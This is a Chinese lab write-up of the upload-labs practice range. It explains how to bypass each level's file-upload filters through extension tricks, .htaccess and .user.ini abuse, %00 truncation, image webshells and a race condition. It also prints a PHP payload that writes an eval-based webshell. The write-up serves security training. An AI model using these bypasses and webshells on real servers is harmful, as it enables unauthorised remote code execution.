upload-labs通关详解

pass01

上传一个php文件提示不允许上传

所以我们在上传的时候抓个包,将后缀.php改成.jpg

 上传成功

用蚁剑测试,成功连接


pass02

先上传一个php文件,提示文件类型不正确

 能抓到数据包,证明不是前端JS校验,是服务端进行校验,网页源代码中也没有任何前段验证代码,所以这道题的类型为后端验证。

这里我们要做的事情就是修改Content-Type后面的数据,告诉服务器,这是一个图片文件,以达到欺骗服务器的目的 

放包,文件上传成功

复制图片链接用蚁剑连接


pass03

还是一样,我们先上传一个php文件,提示不允许上传.asp,.aspx,.php,.jsp后缀文件

看看源码,这里采用了黑名单进行限制

我们只需要避开这些黑名单中的后缀即可,比如我们使用.phtml,上传成功


pass04

由于上传的文件名未经过处理,这里使用.htaccess文件攻击

重要功能:可以指定某个⽂件当作php⽂件执⾏

上传一1.htaccess文件,文件内容如下

SetHandler application/x-httpd-php

上传1.png⽂件,成功解析 且能连接


pass05

上传一个.user.ini文件,内容如下

auto_prepend_file = "1.jpg"

 

再上传 包含木马文件的1.jpg,上传后访问与图片地址相同目录下的readme.php文件即可出发木马文件


pass06

先查看源码,发现没有对大小写进行过滤

将后缀改为.Php ,上传成功

成功连接


pass07

没有首位去空,空格绕过

抓包后后缀名后加空格

上传成功且能连接


pass08

没有去除末尾的点,填点绕过

上传成功且能连接


pass09

没有去除字符串$::DATA

抓包后文件末尾加 $::DATA,上传成功且能连接


pass10

这里黑名单严格、删除文件名末尾点、大小写转换为小写、去除::$DATA字符、首尾去空

上传php文件后抓包

用.空格.绕过

上传成功且能连接


pass11

通过str_ireplace()函数将黑名单中的文件后缀名进行了替换,换为空字符

我们双写后缀名绕过

上传成功且能连接


pass12

这里用了白名单进行限制,只允许上传jpg/png/gif文件格式,拼接的文件路径为随机数+时间+文件后缀。构造文件存储路径使用GET传入,导致服务器最终存储的文件名可控

 

%00绕过:⽂件上传%00绕过是指攻击者在⽂件上传时,在⽂件名后⾯添加%00字符,从⽽绕过服务器端的⽂件类型、拓展名以及⼤⼩限制,成功上传恶意⽂件到服务器端,从⽽进⾏攻击的⼀种技巧 

截断攻击,抓包上传将%00 ⾃动截断后面内容 例如 1.php%00 变成 1.php 


pass13

这段代码同样是白名单限制后缀名,$_POST['save_path']是接收客户端提交的值,客户端可任意修改.所以会产⽣安全漏洞;

POST 下直接注⼊%00 是不行的,需要把%00 解码变成空白符,截断才有效。才能把目录截断成⽂件名;

将%00的hex码更改为00,然后上传 


pass14

制作图片⼀句话,直接上传即可

copy 2.jpg /b+123.php /a shell.jpg

上传制作好的图片马

复制地址蚁剑访问


pass15

攻击方法同上


pass16

使用exif_imagetype()函数来判断是否为图片文件

使用图片马绕过


pass17

二次渲染绕过,我们上传一个反二次渲染的图片,网站会对我们的图片进行二次渲染还原回来

复制图片地址直接蚁剑连接

 


 

pass18

查看网站源码,发现有tmp_name,临时目录,检测到不是jpg,png,gif会把我们上传的文化删掉

上传下方代码

<?php fputs(fopen('webshell.php' , 'w'), '<?php @eval($_POST["cmd"])?>');?>  

上传文件,burp抓包,发送到 intruder 模块,设置无限发送空的payloads,线程调高一点,设置选择无限重发上传,再通过burp重复上面的步骤利用攻击器无限访问访问我们上传的文件

 

pass19

方法同上


pass20

上传图片文件,并自定义保存文件名称

上传成功

 

上传php文件,定义文件名为php 

 

绕过方法:图片马+文件包含 

将图片马上传到站点

使用文件包含访问 并连接


pass21

方法同上

 

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值